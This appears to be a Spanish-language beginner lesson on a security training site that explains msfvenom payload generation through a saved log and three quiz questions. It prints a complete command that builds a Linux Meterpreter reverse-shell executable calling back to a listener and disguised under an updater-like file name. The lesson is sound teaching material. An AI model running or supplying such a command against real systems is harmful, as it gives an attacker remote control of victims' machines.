Loading
_ DESCIFRANDO CONEXIÓN SEGURA...

Generar un payload con msfvenom, y leerlo antes de confiar en él

3 tareas · 25 min · Principiante

Un payload no es el exploit: es lo que el exploit entrega una vez que la vulnerabilidad ya abrió la puerta. `msfvenom` genera ese archivo a partir de tres decisiones (tipo de payload, formato de salida y dónde debe conectarse de vuelta), y cada una queda escrita en el nombre del comando, no escondida. Esta sala lee el registro de generación que el equipo del encargo MSP-2027-09 guardó, sin generar ni entregar nada nuevo.

0 de 3 · 0%

Objetivo de la sala

Un payload no es el exploit: es lo que el exploit entrega una vez que la vulnerabilidad ya abrió la puerta. `msfvenom` genera ese archivo a partir de tres decisiones (tipo de payload, formato de salida y dónde debe conectarse de vuelta), y cada una queda escrita en el nombre del comando, no escondida. Esta sala lee el registro de generación que el equipo del encargo MSP-2027-09 guardó, sin generar ni entregar nada nuevo.

Registro guardado del comando usado y su salida:

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.50.5.11 LPORT=4444 -f elf -o actualizador
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: actualizador

Tres decisiones, visibles en el propio comando: qué hace el payload al ejecutarse (linux/x86/meterpreter/reverse_tcp: abre una sesión Meterpreter que se conecta hacia afuera), a dónde se conecta (LHOST/LPORT: la IP y el puerto donde escucha quien lo recibe) y en qué formato queda el archivo final (-f elf: un ejecutable de Linux).

Esta tarea se hace en el laboratorio

Una terminal con los archivos del caso, aquí en la página. No instalas nada y no puedes romper nada.

Preparando la estación…

Para responder aquí hace falta una cuenta

Puedes leer toda la sala sin cuenta. Responder y guardar tu avance pide entrar; al volver aterrizas en esta misma sala.

Responde para continuar

En este comando, ¿qué decide concretamente `LHOST=10.50.5.11 LPORT=4444`?

Ver pista de ayuda

El payload elegido es "reverse" — se conecta hacia afuera. ¿Hacia dónde exactamente?

El archivo se guardó como actualizador, un nombre genérico sin relación con lo que realmente hace. Esa es una decisión de quien genera el archivo, no algo que msfvenom imponga ni oculte: el comando que lo produjo queda escrito tal cual en el registro, y cualquiera que lo lea sabe exactamente qué es.

Esta tarea se hace en el laboratorio

Una terminal con los archivos del caso, aquí en la página. No instalas nada y no puedes romper nada.

Preparando la estación…

Para responder aquí hace falta una cuenta

Puedes leer toda la sala sin cuenta. Responder y guardar tu avance pide entrar; al volver aterrizas en esta misma sala.

Responde para continuar

Según el registro, ¿qué formato de salida (`-f`) se usó para generar el archivo?

Ver pista de ayuda

Es la opción que fija el tipo de archivo ejecutable de destino.

El registro de este encargo usó -f elf porque el objetivo (msp-ftp01) corre Linux. Contra un objetivo Windows, el mismo tipo de payload reverso necesitaría un formato ejecutable distinto (exe, por ejemplo), y contra una aplicación web que solo acepta un archivo de cierto tipo, el formato podría tener que adaptarse todavía más. El criterio no cambia: el formato lo decide lo que el objetivo puede ejecutar, no la costumbre de quien genera el payload.

Esta tarea se hace en el laboratorio

Una terminal con los archivos del caso, aquí en la página. No instalas nada y no puedes romper nada.

Preparando la estación…

Para responder aquí hace falta una cuenta

Puedes leer toda la sala sin cuenta. Responder y guardar tu avance pide entrar; al volver aterrizas en esta misma sala.

Responde para continuar

Si el mismo payload reverso tuviera que ejecutarse en un objetivo Windows en vez de Linux, ¿qué parte del comando de `msfvenom` depende del sistema operativo del objetivo?

Ver pista de ayuda

Compara qué significa "linux/x86/..." al principio del nombre del payload con qué significa "-f elf" al final del comando.

Entra para responder, guardar tu avance y ganar puntos.

Preparando la estación…

16:24
Terminal (user@whoami)
user@whoami:~$
Tab Autocompletar ↑/↓ Historial
bash 5.2.21
Whoami-Labs OS v3.0.1 LTS · build b903d9

Whoami-Labs Pro

Whoami-Labs Pro utiliza cookies

Utilizamos cookies y almacenamiento local para el funcionamiento del sitio y la seguridad de tu sesión y, solo si lo autorizas, analítica. Puedes aceptar, rechazar o personalizar. Política de Cookies · Política de Privacidad